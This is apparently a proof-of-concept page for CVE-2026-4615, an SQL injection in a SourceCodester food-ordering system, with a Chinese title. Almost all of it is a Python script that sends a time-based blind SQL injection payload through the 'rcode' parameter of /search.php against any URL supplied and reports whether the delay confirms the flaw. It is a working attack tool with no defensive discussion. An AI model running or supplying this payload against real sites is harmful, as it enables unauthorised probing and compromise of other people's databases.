CVE-2026-4615: SourceCodester订餐系统SQL注入漏洞

#!/usr/bin/env python3 import requests def check_sqli(url): """ PoC for CVE-2026-4615 SQL Injection Testing the 'rcode' parameter in /search.php """ target = f"{url}/search.php" # Time-based payload to detect vulnerability payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "rcode": payload } try: print(f"[+] Sending request to {target}") response = requests.get(target, params=params, timeout=10) response_time = response.elapsed.total_seconds() if response_time >= 5: print(f"[!] Vulnerability confirmed! Response time: {response_time}s") else: print(f"[-] Not vulnerable or patched. Response time: {response_time}s") except requests.RequestException as e: print(f"[Error] {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python3 poc.py <target_url>") else: check_sqli(sys.argv[1])